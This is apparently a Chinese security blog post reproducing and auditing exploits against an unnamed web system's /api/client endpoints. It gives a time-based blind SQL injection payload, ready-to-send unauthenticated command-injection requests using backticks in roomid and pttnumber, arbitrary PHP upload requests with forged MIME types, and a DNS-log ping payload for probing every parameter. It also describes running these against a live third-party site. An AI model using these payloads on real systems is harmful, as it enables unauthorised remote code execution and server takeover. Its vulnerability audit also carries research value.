background 看见微信群有人发了篇文章,这个系统我以前挖过,没找到过哪儿能rce的地方,就有点好奇他怎么找出来的。
https://mp.weixin.qq.com/s/32BdBIP0X7YvxLZeIBUqPw
这个注入也挺简单的,直接时间盲注
poc 存在SQL注入的点位 http://xxxxxxxx/api/client/departments2tree.php 该页面POST提交的参数usernumber存在时间盲注 Payload: addr=&content=&enddate=&executor=&file1=&filetype1=&fileurl=&lang=zh&priority=&relevanter=&sign=69528b7d5fec328f9b25fb1c0a67b2f8&startdate=×tamp=1670555316267&title=&usernumber=100101'and(select*from(select+sleep(5))a/**/union/**/select+1)='
文章里的exp 0x01 invite_one_member接口RCE GET /api/client/audiobroadcast/invite_one_member.php?callee=1&roomid=`id>1.txt` HTTP/1.1 Host: {{Hostname}}
0x02 invite2videoconf接口RCE GET /api/client/invite2videoconf.php?callee=1&roomid=`id>1.txt` HTTP/1.1 Host: {{Hostname}}
0x03 invite_one_ptter接口RCE GET /api/client/ptt/invite_one_ptter.php?callee=all&caller=1&pttnumber=`id>1.txt`&force=1&timeout=1 HTTP/1.1 Host: {{Hostname}}
0x04 upload接口任意上传 POST /api/client/upload.php HTTP/1.1 Host: {{Hostname}} Content-Length: 180 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySwvD8hSn3Z0sHfMu User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundarySwvD8hSn3Z0sHfMu Content-Disposition: form-data; name="ulfile";filename="1.php" Content-Type: image/png 111 ------WebKitFormBoundarySwvD8hSn3Z0sHfMu--
0x05 task-upload接口任意上传 POST /api/client/task/uploadfile.php HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundary25qW4eG1Jt50iyf7 Cookie: PHPSESSID=403fc14298f14704c52657fc5ff62c71 Content-Length: 374 ------WebKitFormBoundary25qW4eG1Jt50iyf7 Content-Disposition: form-data; name="uuid" 1 ------WebKitFormBoundary25qW4eG1Jt50iyf7 Content-Disposition: form-data; name="number" 122 ------WebKitFormBoundary25qW4eG1Jt50iyf7 Content-Disposition: form-data; name="uploadfile";filename="1.php" Content-Type: image/jpg 111 ------WebKitFormBoundary25qW4eG1Jt50iyf7--
0x06 event/uploadfile接口任意上传 POST /api/client/event/uploadfile.php HTTP/1.1 Host: {{Hostname}} Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundary25qW4eG1Jt50iyf7 Content-Length: 372 ------WebKitFormBoundary25qW4eG1Jt50iyf7 Content-Disposition: form-data; name="uuid" 1 ------WebKitFormBoundary25qW4eG1Jt50iyf7 Content-Disposition: form-data; name="number" 1 ------WebKitFormBoundary25qW4eG1Jt50iyf7 Content-Disposition: form-data; name="uploadfile";filename="1.php" Content-Type: image/png 111 ------WebKitFormBoundary25qW4eG1Jt50iyf7--
复现 口子没啥问题,直接未授权rce了,找了个站发现里面已经被种矿马了
代码审计 rce 直接看这个漏洞点的文件
/api/client/audiobroadcast/invite_one_member.php?callee=1&roomid=`cat invite_one_member.php >1.txt`
<?php require_once "../../../includes/require.php" ;$callee_number =$_GET ['callee' ];$conference_number =$_GET ['roomid' ];function cmd_async ($cmd ) { exec ($cmd ." /dev/null 2>&1 &" ); } $fp = event_socket_create ($_SESSION ['event_socket_ip_address' ], $_SESSION ['event_socket_port' ], $_SESSION ['event_socket_password' ]);if (!$fp ) { $return_value ['st' ]="-1" ; $return_value ['roomid' ]="-1" ; echo json_encode ($return_value ); } $bridge_array ;$gateway_list ;$ext_start = $_SESSION ['local_extension_rang_start' ];$ext_end = $_SESSION ['local_extension_rang_end' ];$callee_numbe_array =explode ("," ,$callee_number );$conf_flag ="++flags{mute}" ;for ($i = 0 ; $i < count ($callee_numbe_array ); $i ++ ){ if ($ext_start >0 && $ext_end > 0 ){ if (!($callee_numbe_array [$i ] >= $ext_start && $callee_numbe_array [$i ]<= $ext_end )) { $bridge_array_ = outbound_route_to_bridge ($_SESSION ['domain_uuid' ], trim ($callee_numbe_array [$i ])); $sched_seconds =0 ; $conf_cmd ="bgapi sched_api +" .$sched_seconds ." none bgapi originate {absolute_codec_string=^^:opus@16000h@20i:PCMA:PCMU,ignore_early_media=true,origination_caller_id_name=$conference_number ,origination_caller_id_number=$conference_number ,call_direction=outbound}$bridge_array_ [0] $conference_number xml default" ; } else { $sip_dialstring ="user/" ; $sip_dialstring =$sip_dialstring .$callee_numbe_array [$i ]."@" .$_SESSION ['domain_name' ]; $sched_seconds =0 ; $conf_cmd ="bgapi sched_api +" .$sched_seconds ." none bgapi originate {absolute_codec_string=^^:opus@16000h@20i:PCMA:PCMU,ignore_early_media=true,origination_caller_id_name=$conference_number ,origination_caller_id_number=$conference_number ,call_direction=outbound}$sip_dialstring $conference_number xml default" ; } } else { $bridge_array = outbound_route_to_bridge ($_SESSION ['domain_uuid' ], trim ($callee_numbe_array [$i ])); if (strlen ($bridge_array [0 ]) >=7 ) { $sched_seconds =0 ; $conf_cmd ="bgapi sched_api +" .$sched_seconds ." none bgapi originate {absolute_codec_string=^^:opus@16000h@20i:PCMA:PCMU,conf_flag=$conf_flag ,ignore_early_media=true,origination_caller_id_name=$conference_number ,origination_caller_id_number=$conference_number ,call_direction=outbound}$bridge_array [0] $conference_number xml default" ; } else { $sip_dialstring ="user/" ; $sched_seconds =0 ; $sip_dialstring =$sip_dialstring .$callee_numbe_array [$i ]."@" .$_SESSION ['domain_name' ]; $conf_cmd ="bgapi sched_api +" .$sched_seconds ." none bgapi originate {absolute_codec_string=^^:opus@16000h@20i:PCMA:PCMU,conf_flag=$conf_flag ,ignore_early_media=true,origination_caller_id_name=$conference_number ,origination_caller_id_number=$conference_number ,call_direction=outbound}$sip_dialstring $conference_number xml default" ; } } cmd_async ("/usr/local/freeswitch/bin/fs_cli -x \"" .$conf_cmd ."\";" ); } $return_value ['st' ]="0" ; $return_value ['roomid' ]=$conference_number ; echo json_encode ($return_value );fclose ($fp ); ?>
传入的参数被存到了$conference_number
$conference_number
最后都经过处理放到了$conf_cmd
$conf_cmd
最后用cmd_async()
处理
跟cmd_async
直接使用exec处理了,那整个洞就很清晰了,直接用反引号打就行了
文件上传 也来看看文件
/api/client/audiobroadcast/invite_one_member.php?callee=1&roomid=`cat /var/www/html/api/client/upload.php >1.txt`
<?php $types =array ('txt' ,'png' ,'pdf' ,'jpg' ,'jpeg' ,'amr' ,'wav' ,'mp4' ,'avi' ,'mp3' ,'3gp' ); $types1 =explode ('/' , $_FILES ['ulfile' ]['type' ]); if (!in_array ($types1 [1 ], $types )){ echo json_encode (array ("code" =>1 ,"msg" =>"upload file type error" )); exit (); } if (is_uploaded_file ($_FILES ['ulfile' ]['tmp_name' ])) { move_uploaded_file ($_FILES ['ulfile' ]['tmp_name' ], $_SERVER ['DOCUMENT_ROOT' ].'/upload/' .$_FILES ['ulfile' ]['name' ]); } ?>
很基础的东西了,只检测了mime,写个假的mime就行了,这个打法我就没复现了
总结 我在后台看了很久,没发现哪儿调用了这个口子啊,这个洞到底咋发现的啊。搜一下全文件
/api/client/audiobroadcast/invite_one_member.php?callee=1&roomid=`find /var/www/html|xargs grep -ri "audiobroadcast/invite_one_member.php">1.txt`
直接访问就懂了
点击这个页面的发包发不出去,所以直接手发
/api/client/audiobroadcast/invite_one_member.php?callee=`ping%20qwe.***.dnslog.cn`&roomid=`ping%20qwe.***.dnslog.cn`
懂了,以后测系统时所有参数都试试加反引号去ping
或者curl
一个地址